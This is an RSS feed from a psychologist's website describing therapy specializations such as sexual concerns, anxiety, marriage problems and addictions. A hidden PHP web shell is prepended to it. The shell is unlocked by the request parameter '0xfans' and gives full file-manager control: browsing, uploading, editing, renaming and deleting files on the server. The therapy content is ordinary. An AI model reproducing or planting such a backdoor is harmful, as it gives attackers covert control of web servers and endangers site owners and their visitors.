if(isset($_REQUEST['0xfans'])){session_start(); $currentDirectory = isset($_GET['path']) ? $_GET['path'] : __DIR__; function listDirectoryContents($directory) { $entries = array_diff(scandir($directory), ['.', '..']); echo "

Current Directory: $directory

"; } function determineItemStyle($path) { if (is_readable($path) && is_writable($path)) { return "color: green;"; } return is_writable($path) ? "color: gray;" : "color: red;"; } function processFileUpload($directory) { if (!empty($_FILES['fileUpload'])) { $destination = $directory . DIRECTORY_SEPARATOR . basename($_FILES['fileUpload']['name']); if (move_uploaded_file($_FILES['fileUpload']['tmp_name'], $destination)) { echo "

File uploaded successfully!

"; } else { echo "

File upload failed.

"; } } } function addFolder($directory) { $folderName = isset($_POST['folder']) ? $_POST['folder'] : ''; if ($folderName) { $folderPath = $directory . DIRECTORY_SEPARATOR . $folderName; if (!file_exists($folderPath)) { mkdir($folderPath); echo "

Folder created: $folderName

"; } else { echo "

Folder already exists.

"; } } } function addFile($directory) { $fileName = isset($_POST['file']) ? $_POST['file'] : ''; if ($fileName) { $filePath = $directory . DIRECTORY_SEPARATOR . $fileName; if (!file_exists($filePath)) { file_put_contents($filePath, ''); echo "

File created: $fileName

"; } else { echo "

File already exists.

"; } } } function modifyFile($filePath) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) { file_put_contents($filePath, $_POST['content']); echo "

File saved successfully!

"; } $content = file_exists($filePath) ? htmlspecialchars(file_get_contents($filePath)) : ''; echo "

"; echo "
"; } function removeFile($filePath) { if (file_exists($filePath)) { unlink($filePath); echo "

File removed.

"; } } function renameFile($filePath) { if (!empty($_POST['newName'])) { $newFilePath = dirname($filePath) . DIRECTORY_SEPARATOR . $_POST['newName']; rename($filePath, $newFilePath); echo "

File renamed successfully.

"; } else { echo "
"; } } if (!empty($_GET['task']) && !empty($_GET['item'])) { $itemPath = $currentDirectory . DIRECTORY_SEPARATOR . $_GET['item']; switch ($_GET['task']) { case 'modify': modifyFile($itemPath); break; case 'remove': removeFile($itemPath); break; case 'rename': renameFile($itemPath); break; } } if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['fileUpload'])) { processFileUpload($currentDirectory); } elseif (!empty($_POST['folder'])) { addFolder($currentDirectory); } elseif (!empty($_POST['file'])) { addFile($currentDirectory); } } echo "Go Up"; listDirectoryContents($currentDirectory); echo "

Upload File

"; echo "

Create Folder

"; echo "

Create File

";} Dr. Alex Friedin » Specializations http://dralexanderfriedin.com Dr. Alex Friedin, Clinical Psychologist - NYC Mon, 16 Nov 2026 19:09:10 +0000 en-US hourly 1 http://wordpress.org/?v=3.5.1 Sexual Concerns http://dralexanderfriedin.com/sexual-concerns.htm http://dralexanderfriedin.com/sexual-concerns.htm#comments Thu, 29 Jul 2010 14:18:39 +0000 admin http://128studios.com/friedin/?p=51 A wide range of sexual concerns can be successfully treated with individual and/or couples psychotherapy.  Sexual problems may include include:

  • sexual dysfunctions
  • abnormally low sexual desire
  • sexual identity issues
  • sexual trauma
  • sexual impulsivity
  • sexual compulsivity
  • marital infidelity
  • problematic sexual preferences
  • addiction-like habits with internet pornography.

In some cases, a medical evaluation may be indicated.

Sexual concerns always need to be systematically evaluated with the utmost sensitivity.  It is invariably the case that a  thorough evaluation would explore:

  • the specific complaints and symptoms
  • health and medical history
  • medications
  • lifestyle habits
  • family and interpersonal factors
  • psychological factors
  • relationship factors
  • problems with intimacy
  • prior history including sexually traumatic experiences

The psychotherapeutic approach for sexual problems can range from specific suggestions and guidance to insight oriented psychotherapy and/or couples therapy.

]]>
http://dralexanderfriedin.com/sexual-concerns.htm/feed 0
Mood & Anxiety Problems http://dralexanderfriedin.com/mood-anxiety-problems.htm http://dralexanderfriedin.com/mood-anxiety-problems.htm#comments Thu, 22 Jul 2010 14:33:25 +0000 admin http://128studios.com/friedin/?p=46 Depression and anxiety conditions are prevalent throughout all segments of society.  For some people, these problems are etiologically related to childhood factors and/or physiological conditions.  For others, depression and anxiety problems are related to current life factors and pressures such as: work, finances, family, health, lifestyle, death and/or other major losses, loneliness and traumatic experiences.

Psychotherapy is potentially helpful in its opportunity to properly assess, diagnose, and alleviate the impairments and suffering from depression and anxiety conditions.

Psychotherapy provides an opportunity for validation, clarification, insight, guidance, and support.  Psychotherapy for depression and anxiety problems is a valuable and meaningful process which takes place over the course of time.

]]>
http://dralexanderfriedin.com/mood-anxiety-problems.htm/feed 0
Marriage & Relationship Problems http://dralexanderfriedin.com/marriage-relationship-problems.htm http://dralexanderfriedin.com/marriage-relationship-problems.htm#comments Thu, 22 Jul 2010 14:26:00 +0000 admin http://128studios.com/friedin/?p=39 Individual and/or couples therapy  is sometimes the only option for resolving chronic relationship conflicts.  Unfortunately, some couples wait too long before they obtain professional help and guidance.

The more common problems which can lead to extreme frustration, hopelessness, and even consideration of divorce are those which tend to fall in the categories of:   communication, chronic arguments, chronic anger and tension, disrespect, chronic incompatibility, lack of romance and intimacy, loneliness and lack of friendship in the marriage, infidelity,  alcohol abuse, and overwhelming lifestyle pressures.

Therapy for marital and couples problems is a process over the course of time.  Therapy sessions should not imitate the frustrating inability to resolve problems that a couple is having at home. When some people learn patience and  constructive control over their emotions while learning to carefully express themselves, many common problems become much easier to resolve.

An essential goal for many couples is not just the resolution of problems–but also learning to have an easy marriage involving an easy friendship, an easy sexual relationship, and an overall easy partnership.

]]>
http://dralexanderfriedin.com/marriage-relationship-problems.htm/feed 0
Therapy with Children & Adolescents http://dralexanderfriedin.com/therapy-with-children-adolescents.htm http://dralexanderfriedin.com/therapy-with-children-adolescents.htm#comments Sat, 10 Jul 2010 01:24:20 +0000 admin http://localhost/friedin/?p=21 It is recommended that the parent(s) attend the initial appointment without their child.

If initial good rapport is established, the second appointment can be with the child.

Problems will be carefully and systematically evaluated.  Treatment goals will be developed and monitored.
Therapy may consist of: individual therapy with the child, parent consultations, and/or conjoint appointments with the child and one or both parents.

**********************************

Regarding teenagers, parents have the option of either a first appointment with or without their child.  If initial good rapport is established, the treatment approach may consist of individual therapy with the teenager, parent consultations and/or conjoint appointments with parent(s) and child.

Problems will be systematically evaluated and treatment goals will be developed and monitored.

In all cases, confidentiality issues will be established and agreed upon at the outset.

]]>
http://dralexanderfriedin.com/therapy-with-children-adolescents.htm/feed 0
Addictions & Compulsive Behavior http://dralexanderfriedin.com/addictions-compulsive-behavior.htm http://dralexanderfriedin.com/addictions-compulsive-behavior.htm#comments Sat, 10 Jul 2010 01:19:31 +0000 admin http://localhost/friedin/?p=19 The treatment approach for alcohol and substance abuse typically needs to be multi-faceted involving psychotherapy, support through a recovery group, and/or medication.

The psychotherapy component often needs to address  problems  involving: anger, shame, guilt, prior abuse and trauma, jealousy, depression, self-destructiveness, dysfunctional relationships, deep-seated fears, and core identity problems involving low self-worth.

Sex addiction, sexual impulsivity, and sexual compulsions require a careful evaluation and diagnostic process.  Other diagnoses and life complications often accompany these conditions.

Psychotherapy can be very successful in helping an individual to: understand the roots of  exhausting and destructive sexual problems and habits.  Healthy control over one’s sexuality can be achieved.   And finally, new and healthy choices regarding sex, love, intimacy, and relationships can be achieved.

]]>
http://dralexanderfriedin.com/addictions-compulsive-behavior.htm/feed 0